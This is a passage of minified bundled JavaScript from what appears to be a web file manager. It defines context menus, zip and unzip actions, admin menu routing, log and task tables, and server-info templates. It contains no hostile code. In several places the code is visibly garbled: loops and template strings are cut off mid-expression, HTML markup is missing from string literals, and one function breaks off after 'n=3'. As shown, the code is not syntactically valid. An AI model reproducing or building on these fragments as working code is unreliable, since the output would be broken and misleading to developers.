upload-folder"},"server-download":{"name":LNG["explorer.downOffline"],"className":"download"},"recycle-clear":{"name":LNG["explorer.recycleClear"],"icon":"ri-delete-bin-line-6","accesskey":"c"},"recycle-restore":{"name":LNG["explorer.recycleRestoreItem"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"recycle-delete":{"name":LNG["common.deleteForce"]+"Shift+Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"recycle-restore-all":{"name":LNG["explorer.recycleRestoreAll"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"share-to-file":{"name":LNG["explorer.share.innerTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.shareTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.shareTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-link-file":{"name":LNG["explorer.share.linkTo"],"icon":" x-share-link","accesskey":"l"},"share-link-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.linkTo"],"icon":"x-share-link","accesskey":"e"},"share-link-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.linkTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-open-window":{"name":LNG["explorer.share.openPage"],"icon":"ri-external-link-line","accesskey":"b"},"fav-add":{"name":LNG["explorer.addToFav"],"icon":"ri-star-fill","accesskey":"f"},"fav-remove":{"name":LNG["explorer.favRemove"],"icon":"ri-star-line","accesskey":"d"},"fav-rename":{"name":LNG["common.rename"],"icon":"ri-pencil-fill","accesskey":"r"},"fav-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"fav-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"tag-edit":{"name":LNG["explorer.tag.edit"],"icon":"ri-bookmark-line-3","accesskey":"e"},"tag-remove":{"name":LNG["common.delete"],"icon":"ri-delete-bin-line-6","accesskey":"d"},"tag-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"tag-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"app-install":{"name":LNG["explorer.app.app"],"icon":"ri-apps-fill","accesskey":"a"},"setting-wall":{"name":LNG["admin.setting.wall"],"icon":"ri-image-line","accesskey":"b"},"setting-theme":{"name":LNG["admin.setting.theme"],"icon":"ri-dashboard-line-2","accesskey":"i"},"setting-user":{"name":LNG["admin.userManage"],"icon":"ri-settings-fill-5","accesskey":"t"},"file-embed":{"name":LNG["explorer.embed.title"],"icon":"ri-code-box-line","accesskey":"a"},"set-background":{"name":LNG["explorer.setBackground"],"icon":"ri-image-line","accesskey":"x"},"explorer":{"name":LNG["explorer.folderManage"],"icon":"ri-folder-fill-3","accesskey":"v"},"explorer-editor":{"name":LNG["explorer.openWithAce"],"icon":"ri-edit-box-line","accesskey":"e"},"create-link-home":{"name":LNG["explorer.createLinkHome"],"icon":"x-item-icon x-app-link","accesskey":"l"},"create-link":{"name":LNG["explorer.createLink"],"icon":"x-item-icon x-app-link"},"select-all":{"name":LNG["common.selectAllItem"]+"Ctrl+A"},"select-reverse":{"name":LNG["common.selectInvert"]+"Shift+Ctrl+A"},"select-clear":{"name":LNG["common.selectNull"]+"Shift+Ctrl+A"},"share-to-me-all":{"name":LNG["common.all"],"icon":"ri-checkbox-multiple-fill"},"share-to-me-show":{"name":LNG["common.default"],"icon":"ri-eye-line"},"share-to-me-hide":{"name":LNG["common.isHide"],"icon":"ri-eye-off-line"},"share-hide":{"name":LNG["common.hide"],"icon":"ri-eye-off-line"},"share-show":{"name":LNG["common.cancelHide"],"icon":"ri-eye-fill"},"refresh-tree":{"name":LNG["explorer.refreshTree"],"icon":"ri-refresh-line","accesskey":"e"},"open-with":{"name":LNG["explorer.openWith"],"icon":" ri-external-link-line","accesskey":"a","items":{"open-with-first":{"name":"","className":"hidden"}}},"new-file-others":{"name":LNG["explorer.newFile"],"icon":" ri-file-line","accesskey":"w","items":{"new-file":{"name":"txt "+LNG["common.file"],"icon":"x-item-icon x-txt small"},"new-file-md":{"name":"md "+LNG["common.file"],"icon":"x-item-icon x-md"},"new-file-html":{"name":"html "+LNG["common.file"],"icon":"x-item-icon x-html"},"step1011":"--------","new-file-docx":{"name":"Word docx "+LNG["common.file"],"icon":"x-item-icon x-docx"},"new-file-xlsx":{"name":"Excel xlsx "+LNG["common.file"],"icon":"x-item-icon x-xlsx"},"new-file-pptx":{"name":"PowerPoint pptx "+LNG["common.file"],"icon":"x-item-icon x-pptx"},"step1012":"--------","app-install":{"name":LNG["explorer.app.app"],"icon":"x-item-icon x-app-store","accesskey":"a"}}},"set-list-type":{"name":LNG["explorer.file.listType"],"icon":" ri-inbox-line","items":{"set-list-icon":{"name":LNG["explorer.file.listIcon"],"className":"set-list-type-item"},"set-list-list":{"name":LNG["explorer.file.listList"],"className":"set-list-type-item"},"set-list-split":{"name":LNG["explorer.file.listListSplit"],"className":"set-list-type-item"}}},"set-sort-by":{"name":LNG["explorer.file.orderType"],"accesskey":"y","icon":"ri-sort-desc","items":{"set-sort-name":{"name":LNG["explorer.file.name"],"className":"set-sort-field-item"},"set-sort-ext":{"name":LNG["explorer.file.type"],"className":"set-sort-field-item"},"set-sort-size":{"name":LNG["explorer.file.size"],"className":"set-sort-field-item"},"set-sort-modifyTime":{"name":LNG["explorer.file.modifyTime"],"className":"set-sort-field-item"},"step1021":"--------","set-order-up":{"name":LNG["explorer.file.sortUp"],"className":"set-sort-order-item"},"set-order-down":{"name":LNG["explorer.file.sortDown"],"className":"set-sort-order-item"}}},"set-icon-size":{"name":LNG["explorer.toolbar.fileSizeTitle"],"icon":" ri-image-line","items":{"icon-size-smallx":{"name":LNG["explorer.toolbar.fileSizeSuper"],"className":"set-icon-size-item"},"icon-size-small":{"name":LNG["explorer.toolbar.fileSizeSmall"],"className":"set-icon-size-item"},"icon-size-default":{"name":LNG["explorer.toolbar.fileSizeDefault"],"className":"set-icon-size-item"},"icon-size-big":{"name":LNG["explorer.toolbar.fileSizeBig"],"className":"set-icon-size-item"},"icon-size-bigx":{"name":LNG["explorer.toolbar.fileSizeBigSuper"],"className":"set-icon-size-item"}}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=function n(e){return e&&e.__esModule?e:{"default":e}}(i(480));t["default"]=ClassBase.extend({"extSupport":"zip,tar,gz,tgz,ipa,apk,rar,7z,iso,bz2,zx,z,arj,epub","init":function(e){this.pathAction=this.root.pathAction,this.initZipView(),this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow}),this._delay(this.resetDownload,100)},"initZipView":function(){var n=this;this.supportZip()&&kodApp.add({"name":"zipView","title":LNG["admin.plugin.defaultZipView"],"sort":-1,"ext":this.extSupport,"icon":STATIC_PATH+"images/file_icon/icon_file/zip.png","callback":function(e,t,i){(n.pathModel?n:kodApp.pathAction.root.plugins.zipView).initView(e,i)}})},"supportZip":function(){return"share"!=this.root.pageType||"1"==_.get(G,"system.options.shareLinkZip")},"menuShow":function(n){if(_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-path-folder-tree",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],n.menuType)){var e=this.menuAppend(n),t=this.extSupport.split(","),i=e&&_.includes(t,e.ext)?"menuItemShow":"menuItemHide";$.contextMenu[i](n,"unzip");var a=this.pathAction.auth.canWrite(n.$target);this._each(["zip","unzip"],function(e,t){var i=this.pathAction.auth.authCheck(e,n.$target);a&&i||$.contextMenu.menuItemDisable(n,e)})}},"menuAppend":function(e){var t=this.actionGetInfo(e.$target,"makeParamItem");if(e.extendZipView)return t;var i=_.bind(this.doAction,this),n={"unzip":{"name":LNG["explorer.unzip"],"icon":"ri-folder-open-line","items":{"unzip-this":{"name":LNG["explorer.unzipThis"],"icon":"ri-external-link-line","callback":i},"unzip-folder":{"name":LNG["explorer.unzipFolder"],"icon":"ri-external-link-line","callback":i},"unzip-to":{"name":LNG["explorer.unzipTo"],"icon":"ri-external-link-line","callback":i}}}},a={"zip":{"name":LNG["explorer.zip"],"icon":"ri-external-link-line","items":{"zip-zip":{"name":"ZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"sep1010":"--------","zip-tar":{"name":"TAR "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"zip-tgz":{"name":"GZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i}}}};return $.contextMenu.menuAdd(n,e,"",".more-action"),t&&"folder"!=t.type?$.contextMenu.menuAdd(a,e,".more-action .context-menu-separator"):_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],e.menuType)&&$.contextMenu.menuAdd(a,e,"",".path-info"),e.extendZipView=!0,t},"initView":function(n,a){var s=this;this.pathModel.unzipList({"path":n},function(e){if(e&&e.code&&!_.isString(e.data)){var t="zipViewDialog"+roundString(4),i=new r["default"]({"parent":s});i.initDialog(n,a,e.data),s[t]=i}})},"actionGetInfo":function(e,t){var i=this.pathAction;return $.isDom(e)&&e.hasClass("tree-node")&&(i=this.root.tree.treeAction),i[t]()},"doAction":function(e,t){switch(e){case"unzip-this":this.unzipFile("this");break;case"unzip-folder":this.unzipFile("folder");break;case"unzip-to":this.unzipFile("to");break;case"zip-zip":this.zip("zip",t);break;case"zip-tar":this.zip("tar",t);break;case"zip-tgz":this.zip("tgz",t)}},"unzipFile":function(e){var t=this.pathAction.makeParamItem();this.unzip(e,t.path,t.name)},"zip":function(e,t){var i=this.actionGetInfo(t.$target,"makeParamArray");if(i){if(!this.pathAction.auth.canWrite())return Tips.notify.tips(LNG["explorer.noPermissionWrite"],"warning",3e3),!1;if(!this.root.spaceSize.spaceCheck())return Tips.notify.tips(LNG["explorer.spaceIsFull"],"warning",3e3),!1;this.pathAction.flagCurrentPath();var n=this;i=$.extend({},{"type":e},i),this.pathModel.zip(i,function(e){n.pathAction.refreshCallback(e)})}},"unzip":function(e,t,i){var n=3
    ')},"saveConfig":function(){},"initFormView":function(e){var t=this.$(".panel-body");this.form=new n["default"]({"parent":this,"formData":e}),this.form.renderTarget(t),this.listenTo(this.form,{"onSave":function(e){return this.saveConfig(e)}});return _.each(["dialog-form-style-default","dialog-form-style-tab","dialog-form-style-simple","dialog-form-style-mac"],function(e){t.hasClass(e)&&t.removeClass(e)}),t.addClass("dialog-form-style-simple"),this.trigger("initView.after"),this.form}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(108)),a=o(i(173)),s=o(i(26)),r=o(i(182));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":"#app","init":function(){this.menuBar=new n["default"]({"parent":this}),this.renderHtml(i(526)),this.initGlobal(),this.leftMenu=new a["default"]({"parent":this}),this.task=new r["default"]({"parent":this}),this.resetMenubar(),this.bindEventResize(),NProgress.done()},"resetMenubar":function(){var e=this.$el.parent().find(".menuBar");e.addClass("admin-menu-bar"),this.$el.css("left",0),this.on("onRemove",function(){e.removeClass("admin-menu-bar"),this.$el.css("left",e.width())})},"initGlobal":function(){this.global.autoToChildren={"root":this,"$root":this.$el,"adminModel":new s["default"]},this._each(this.global.autoToChildren,function(e,t){this[t]=e})},"bindEventResize":function(){var t="none",i=$("html"),n=function n(){var e=$(window).width()<1e3;t!==e&&((t=e)?i.addClass("app-wap-small"):i.removeClass("app-wap-small"))};n(),n=_.debounce(n,50),$(window).bind("resize",n),this.$el.parent("#app").addClass("app-admin"),this.on("onRemove",function(){$(window).unbind("resize",n),i.removeClass("app-wap-small"),this.$el.parent("#app").removeClass("app-admin")})},"onRemove":function(){this._each($.dialog.list,function(e){e.close()}),this.adminModel.onRemove()}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=s(a(523)),n=s(a(98)),l=s(a(171)),c=s(a(524));function s(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-page","animateTime":200,"menuAutoClose":0,"init":function(){this.$menu=this.$(".menu-content"),this.menuItems=(0,i["default"])(),this.userRoleAuth=new n["default"],this.initView(),this.bindLocation(),this.addMenuMake(),this.adminMainPage()},"addMenuMake":function(){var e=[];Events.trigger("admin.leftMenu.before",e,this),_.each(e,function(e){e.sort=e.sort||0}),this._each(e,function(e){this.addMenu(e)}),Events.trigger("admin.leftMenu.after",this)},"addMenu":function(i){if(this.userRoleAuth.adminAuth("admin/plugin")){var e=!!i.before,t=i.before||i.after,n=this.$('.menu-items [link-href="'+t+'"]');if(!n.exists())return console.error("notFound!",[i,n]);var a=this.menuRouter[t];this.menuRouter[i.link]=_.pick(i,["title","icon","link"]),this.menuRouter[i.link]["address"]=a.address;var s=n.clone(),r=s.find(".item-icon");s.attr("link-href",i.link).removeClass("submenu"),r.removeClass(r.attr("data-icon")).addClass(i.icon),s.find(".menu-name").html(i.title),s.children(".menu-items").remove(),e?n.before(s):n.after(s);var o=this;Router.map({"key":i.link,"name":i.title,"context":o,"callback":function(){var t=Tips.loadingMask();i.pluginName?(o.loadPage(c["default"],i),setTimeout(function(){t.close(300)},200)):i.fileSrc&&requireAsync(i.fileSrc,function(e){o.loadPage(l["default"].extend(e.prototype),i),t.close()})}})}},"loadPage":function(e,t){this.changeRouter(t.link),this.contentView&&this.contentView.$el.removeClass("animated moveInUpSmallX"),this.contentView&&this.contentView.objectRemove();var i=new e({"parent":this,"menu":t}),n=(this.contentView=i).$el.exists()?i.$el:this.$(".admin-main-content"),a=function a(){n.hide().delay(100).fadeIn(250),n.addClass("animated moveInUpSmallX")};i.initAfterIgnore||(i.initAfterTrigger?i.bind("initView.after",a):a())},"initView":function(){var i=this,e=this.makeMenu(this.menuItems,0);this.$menu.html(e),this.$menu.delegate(".menu-item-content","click",function(e){var t=$.targetParent(e,".menu-item");i.selectItem(t)}),this.$menu.perfectScroll(),this.userRoleAuth.adminAuthCheck(this.$(".admin-menu-left"))},"makeMenu":function(e,t){if(!e)return"";var i=a(525),n={"menuItems":e,"level":t+1,"marginWidth":"25","makeMenu":_.bind(this.makeMenu,this)};return this.renderHtml(i,n,!1)},"bindLocation":function(){var n=this;this.parseRouter(this.menuItems,[]),_.each(this.menuRouter,function(t,i){Router.map({"key":i,"name":t.title,"context":n,"callback":function(){if(!n.userRoleAuth.adminAuth(i))return Tips.tips(LNG["explorer.noPermissionAction"],"warning");var e=a(717)("./"+t.file);n.loadPage(e["default"],t)}})})},"adminMainPage":function(){var e=this.$(".menu-items [link-href]").first().attr("link-href");if(!e)return new(a(499)["default"])({"title":LNG["explorer.mistake"],"desc":LNG["user.loginNoPermission"]});"admin"==Router.hash&&Router.go(e)},"menuRouter":{},"parseRouter":function(e,t){for(var i=0;i\n"+i[t].ip)+'" data="'+e+'" data-action="viewIP">'+htmlEncode(i[t]["address"])+""}}],"toolbar":[{"id":"export","side":"right","formatter":function(e){return"ip"!=e.attr("field")?null:e.find("[title]").attr("title")}}],"order":[1,"down"],"sort":["createTime"]}},"logLogin":function(e){var i=this;return{"container":".log-login-list","data":e,"request":function(e,t){e=$.extend({},e,{"type":"user.index.loginSubmit"}),i.parent.adminModel.requestSend("toolsLog",e,function(e){i.resetListAll("logLogin",e.data),t({"list":e.data,"pageInfo":e.info})})},"items":[{"field":"userID","title":LNG["common.user"],"formatter":function(e,t,i){return a["default"].userInfo(i[t].userInfo)}},{"field":"createTime","title":LNG["admin.task.timeLastLogin"],"formatter":function(e){return dateFormat(e)}},{"field":"desc","title":LNG["common.system"],"formatter":function(e){return(0,s["default"])(e).os}},{"field":"desc","title":LNG["explorer.toolbar.client"],"formatter":function(e){return(0,s["default"])(e).browser}},{"field":"id","title":LNG["admin.index.address"],"formatter":function(e,t,i){return'\n"+i[t].ip)+'" data="'+e+'" data-action="viewIP">'+htmlEncode(i[t]["address"])+""}}],"toolbar":[{"id":"export","side":"right","formatter":function(e){return"ip"!=e.attr("field")?null:e.find("[title]").attr("title")}}],"order":[1,"down"],"sort":["createTime"]}},"task":function(e){var s=this;return{"container":".task-list","data":e,"request":function(e,t){s.parent.adminModel.autoTaskList(e,function(e){Events.trigger("admin.autoTask.listBefore",e,this),s.resetListAll("task",e.data),t({"list":e.data,"pageInfo":e.info})})},"items":[{"field":"name","title":LNG["admin.task.name"],"formatter":function(e){var t=""+e+"";return''+t}},{"field":"time","title":LNG["admin.task.cycle"],"formatter":function(e){var t=jsonDecode(e),i=s.parent.timeOption(),n=t.type;return{"month":[LNG["common.everyMonth"],i.month[t[n]],t.day].join(" "),"week":[LNG["common.everyWeek"],i.week[t[n]],t.day].join(" "),"day":[LNG["common.everyDay"],t[n]].join(" "),"minute":[LNG["common.every"],t[n],LNG["common.minute"]].join(" ")}[n]}},{"field":"event","title":LNG["admin.task.content"]},{"field":"desc","title":LNG["admin.task.desc"]},{"field":"lastRun","title":LNG["admin.task.timeLastRun"],"formatter":function(e){return e?dateFormat(e):LNG["admin.backup.notYet"]}},{"field":"enable","title":LNG["common.status"],"formatter":function(e,t,i){return'"}},{"field":"id","title":LNG["common.action"],"attr":{"class":"setting"},"formatter":function(e,t,i){var n=[{"action":"run","name":LNG["common.run"]},{"action":"log","name":LNG["common.log"]}],a=s.sortMenu(t,i.length);return n.push.apply(n,(0,r["default"])(a)),"0"==i[t].system&&n.push({"action":"remove","name":LNG["common.delete"]}),s.parent.dropMenu.make(e,n)}}]}},"sortMenu":function(e,t){if(t<=1)return[];e=parseInt(e)+1;var i=[{"action":"up","name":LNG["common.moveUp"]},{"action":"down","name":LNG["common.moveDown"]}];return 1===e?_.pullAt(i,1):e===t?_.pullAt(i,0):i},"resetListAll":function(e,t){var i={},n=!0,a=!1,s=undefined;try{for(var r,o=(0,d["default"])(t);!(n=(r=o.next()).done);n=!0){var l=r.value;i[l.id]=l}}catch(c){a=!0,s=c}finally{try{!n&&o["return"]&&o["return"]()}finally{if(a)throw s}}this.parent[e+"ListAll"]=i}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var n={"formStyle":{"className":"dialog-form-style-simple form-box-title-right","tabs":{"base":"basePage"},"tabsName":{"base":LNG["common.version.basicInfo"]}},"basePage":"
    "},e={"cache":LNG["admin.setting.sysCacheTab"],"db":LNG["admin.setting.sysDbTab"]};return _.each(e,function(e,t){var i=a(730)("./"+t)["default"]();n.formStyle.tabs[t]=_.keys(i).join(","),n.formStyle.tabsName[t]=e,n=$.extend({},n,i)}),n}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='
    ',t+=i(n["admin.setting.sysSrvState"]),t+='
    ',t+=i(n["admin.setting.srvStateCpu"]),t+='
    ',t+=i(n["admin.setting.srvStateMem"]),t+='
    ',t+=i(n["admin.setting.srvStateSrv"]),t+='
    ',t+=i(n["admin.setting.srvStateDef"]),t+='
    ',t+=i(n["admin.setting.sysSrvInfo"]),t+='
    ',t+=i(n["admin.setting.srvInfoName"]),t+=':
    ',t+=i(n["admin.setting.srvInfoIp"]),t+=':
    ',t+=i(n["admin.setting.srvInfoTime"]),t+=':
    ',t+=i(n["admin.setting.srvInfoUpTime"]),t+=':
    ',t+=i(n["admin.setting.srvInfoSys"]),t+=':
    ',t+=i(n["admin.setting.srvInfoWeb"]),t+=':
    ',t+=i(n["admin.setting.srvInfoPhpV"]),t+=':
    ',t+=i(n["admin.setting.srvInfoPath"]),t+=':
    ',t+=i(n["admin.setting.sysPhpInfo"]),t+='
    ',t+=i(n["admin.setting.srvPhpDtl"]),t+=': ',t+=i(n["admin.setting.srvPhpDtl"]),t+='
    ',t+=i(n["admin.setting.srvInfoPhpV"]),t+=':
    ',t+=i(n["admin.setting.memLimit"]),t+=':
    ',t+=i(n["admin.setting.postLimit"]),t+=':
    ',t+=i(n["admin.setting.uploadLimit"]),t+=':
    ',t+=i(n["admin.setting.execTime"]),t+=':
    ',t+=i(n["admin.setting.inputTime"]),t+=':
    ',t+=i(n["admin.setting.disFunction"]),t+=':
    ',t+=i(n["admin.setting.phpExtSugst"]),t+=': ',t+=i(n["explorer.editor.help"]),t+='
    ',t+=i(n["admin.setting.phpExtLoad"]),t+=':
    ',t+=i(n["admin.setting.database"]),t+=" & ",t+=i(n["admin.setting.cache"]),t+='
    ',t+=i(n["admin.setting.database"]),t+=':
    ',t+=i(n["admin.setting.cache"]),t+=':
    ',t+=i(n["admin.setting.sysMyInfo"]),t+='
    ',t+=i(n["admin.setting.myClientIp"]),t+=':
    ',t+=i(n["admin.setting.myClientUa"]),t+=':
    ',t+=i(n["admin.setting.myClientLng"]),t+=':
    '}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='

    ',t+=i(n["admin.setting.dbTasking"]),t+='

    1. ',t+=i(n["admin.setting.dbCreate"]),t+=':

    2. ',t+=i(n["admin.setting.dbSelect"]),t+=':

    3. ',t+=i(n["admin.setting.dbInsert"]),t+=':

    4. ',t+=i(n["admin.setting.dbSetSave"]),t+=':

    '}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=c(i(292)),a=c(i(295)),s=c(i(297)),r=c(i(365)),o=c(i(366)),l=c(i(86));function c(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.initGlobal(e.parentView),this.appList={},this.openDefault={},this.initOpenUser(),this.childOpenWith=new n["default"]({"parent":this}),this.childUnknow=new a["default"]({"parent":this}),this.globalCore=new l["default"]({"parent":this}),this.editor=new s["default"]({"parent":this}),this.defaultApp=new r["default"]({"parent":this}),this.oexe=new o["default"]({"parent":this}),this.loadAppList()},"loadAppList":function(){window.kodApp=this;var e=[];Events.trigger("explorer.kodApp.before",e),this._each(e,function(e){this.add(e)}),Events.trigger("explorer.kodApp.after")},"initGlobal":function(t){var n=function n(i,e){i.global=e,_.each(e.autoToChildren,function(e,t){i[t]=e})};this._each(this._data_.allView,function(e){n(e,t.global)}),n(this,t.global),this.pathAction&&!_.get(this.pathAction,"objectRemoveViewFinished")||(this.pathAction=t.pathAction)},"add":function(e){e.title=e.title||e.name||"",e.ext=e.ext||"",e.sort=parseInt(e.sort||0),e.name==undefined&&(e.name=UUID(),e.hidden=!0);var i=e.name,t=e.ext&&e.ext.split(",")||[""];this.appList[i]=e,this.appList[i].extArr=t,this._each(this.openDefault,function(e,t){this.openDefault[t]=_.filter(e,function(e){return e.name!=i})});for(var n=0;n',"icon":" ri-file-line-3","content":LNG["explorer.loading"]}),a=c.requestSend(c.apiConfig[r],e,function(e){clearTimeout(s),n.close(e),e&&(e.code&&!_.isString(e.data)||(e.data=""),t&&t(e))},i,r);n.$main.find(".clear").hide();var s=o._delay(function(){a.abort(),o.listTips[e.longTaskID]={"timer":!1,"tips":n},o.notifyView(n,e.longTaskID,t),o.bindDialogEvent(n.$main)},1e3);return a}})},"notifyView":function(r,o,l){this.model.get({"id":o},_.bind(function(e){if(!e||!e.code||_.isEmpty(e.data))return this.listTips[o]=!1,r.close({"code":!1,"data":""}),void(l&&l({"code":!1,"data":""}));if("task_finished"==e.info)return this.listTips[o]=!1,r.close(e.data),e.data.code&&!_.isString(e.data.data)||(e.data.data=""),void(l&&l(e.data));this.listTips[o]&&(this.listTips[o].timer=this._delay(function(){this.notifyView(r,o,l)},this.refreshDelay));var t=this.itemParse(e.data),i=r.$main.find(".list-item");if(0==i.length){var n=c(160),a=this.renderHtml(n,{"item":t},!1),s=r.$main.find(".kui-notify-content-message");a='
    '+a+"
    ",s.removeClass("hidden"),s.html(a)}else this.itemUpdate(t,i)},this))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(407)),s=a(i(64));function a(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.model=new n["default"]({"parent":this}),this.reloadView=_.bind(this.reloadView,this),this.refreshDelay=800,this.bindEvent()},"bindEvent":function(){var e=this.$el;e.undelegate(".task-view-dialog","click"),e.delegate(".task-view-dialog","click",_.bind(this.initViewDialog,this)),this.bind("onRemove",function(){e.undelegate(".task-view-dialog","click")})},"initViewDialog":function(){if(!this.view){var e=this,t=i(408);this.view=$.dialog({"className":"task-list-view-dialog dialog-bg-blur","ico":' ',"title":LNG["common.task.name"],"width":450,"height":600,"padding":0,"content":this.renderHtml(t,!1,!1),"resize":!0,"fixed":!0,"close":function(){e.view=!1,e.dataBefore=!1,clearTimeout(e.refreshTimer),this.refreshTimer=!1}}),this.bindDialogEvent(this.view.$main),this.refreshTimer=this._delay(this.reloadView,this.refreshDelay),this.bind("onRemove",function(){clearTimeout(this.refreshTimer),this.refreshTimer=!1}),this.initViewDialogAfter()}},"initViewDialogAfter":function(){},"reloadView":function(){if(this.view){var r=i(160),o=this.view.$main;clearTimeout(this.refreshTimer),this.model.list(!1,_.bind(function(e){if(this.view){this.refreshTimer=this._delay(this.reloadView,this.refreshDelay);var a=this.dataBefore||{},i={};e&&e.code?_.each(e.data,function(e){i[e.id]=e}):i=this.dataBefore,this._each(a,function(e,t){i[t]||(o.find('[data-id="'+e.id+'"]').remove(),a[t]=null)});var s=!1;this._each(i,function(e,t){e=this.itemParse(e);var i=o.find('[data-id="'+e.id+'"]');if(a[t])this.itemUpdate(e,i);else{var n=this.renderHtml(r,{"item":e},!1);s?$(n).insertAfter(o.find('[data-id="'+s.id+'"]')):$(n).appendTo(o.find(".list-content"))}s=e}),_.isEmpty(i)?(o.find(".list-empty").removeClass("hidden"),o.find(".task-kill-all").addClass("hidden"),o.find(".list-item").remove()):(o.find(".list-empty").addClass("hidden"),o.find(".task-kill-all").removeClass("hidden")),this.dataBefore=i}},this))}},"itemUpdate":function(e,t){t.attr("data-status")!=e.status&&(t.removeClass("status-"+t.attr("data-status")),t.attr("data-status",e.status).addClass("status-"+e.status)),t.find(".current").html(e.viewCurrent),t.find(".time .time-use em").html(e.viewUseTime),t.find(".time .time-need em").html(e.viewNeedTime),t.find(".kui-process").attr("title",e.viewPercent),t.find(".kui-process-use").css({"width":e.viewPercent}),t.find(".kui-process-info").html(e.viewPercentInfo),t.find(".item.title").html(e.viewTitle)},"itemParse":function(e){e.viewUserInfo||(e.viewUserInfo=s["default"].userInfo(e.userInfo)),e.viewTitle=e.title||LNG[e.type]||e.type||e.id,e.copyMoveList&&(e.viewTitle+=e.copyMoveList.listNumber+LNG["common.items"]),e.viewStartTime=dateFormat(e.timeStart,"m-d H:i:s"),e.viewPercent=(100*e.taskPercent).toFixed(1)+"%",e.viewUseTime=timeShow(e.timeUse),e.viewNeedTime=timeShow(e.timeNeed);var t=e.taskFinished+"/"+e.taskTotal;if(e.viewPercentInfo=""+t+" "+LNG["common.item"]+"",e.viewCurrent="",e.currentTitle&&(e.currentFileName=e.currentTitle+" "+(e.currentFileName||"")),e.currentFileName){var i="";e.currentFileSize&&(i=pathTools.fileSize(e.currentFileFinished)+"/"+pathTools.fileSize(e.currentFileSize)),i=i?"("+i+")":"",e.viewCurrent+=""+e.currentFileName+i+""}if(e.sizeTotal){var n=pathTools.fileSize(e.sizeTotal),a=pathTools.fileSize(e.sizeFinished);e.viewCurrent+=""+a+"/"+n+""}return e.viewCurrent||(e.viewCurrent=e.viewStartTime),e},"bindDialogEvent":function(e){var n=this;e.delegate("[data-action]","click",function(e){var t=$(this).attr("data-action"),i=$(this).parents(".list-item").attr("data-id");switch(t){case"stop":n.model.stop({"id":i},n.reloadView);break;case"start":n.model.start({"id":i},n.reloadView);break;case"kill":$.dialog.confirm(LNG["common.task.removeTips"],function(){n.model.kill({"id":i},n.reloadView)});break;case"killAll":$.dialog.confirm(LNG["common.task.killAllTips"],function(){n.model.killAll(!1,n.reloadView)})}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(13);t["default"]={"dataParseMain":function(e,t){for(var i=[],n=0;n"+a.length+LNG["common.item"]+"
    "):s+="
    "+i+"
    ")}),s&&4'+s+'
    \n\t\t\t\t\t\t\t
    '+LNG["common.showMore"]+'
    \n\t\t\t\t\t\t\t"),{"title":this.dataParseHtmlItem(n[0],e,a),"content":s}}},"dataParseHtmlItem":function(e,t,i){if(_.includes(e,"{{file}}")){var n=t.sourceInfo||t.desc.name||t.pathName||""+LNG["common.deleteEnd"]+LNG["common.file"]+"",a=this.makeHtmlFile(n);e=e.replace(/{{file}}/g,a)}if(_.includes(e,"{{parent}}")){n=t.parentInfo||""+LNG["common.deleteEnd"]+LNG["common.folder"]+"",a=this.makeHtmlFile(n);e=e.replace(/{{parent}}/g,a)}if(_.includes(e,"{{count}}")){a=''+i.length+"";e=e.replace(/{{count}}/g,a)}if(_.includes(e,"{{desc.from}}")){n=t.desc.from||t.desc.fromName||LNG["common.unknow"];if(_.isString(t.desc.from))a=htmlEncode(t.desc.from);else a=this.makeHtmlFile(n);e=e.replace(/{{desc\.from}}/g,a)}if(_.includes(e,"{{desc.to}}")){n=t.desc.to||t.desc.toName||LNG["common.unknow"];if(_.isString(t.desc.to))a=htmlEncode(t.desc.to);else 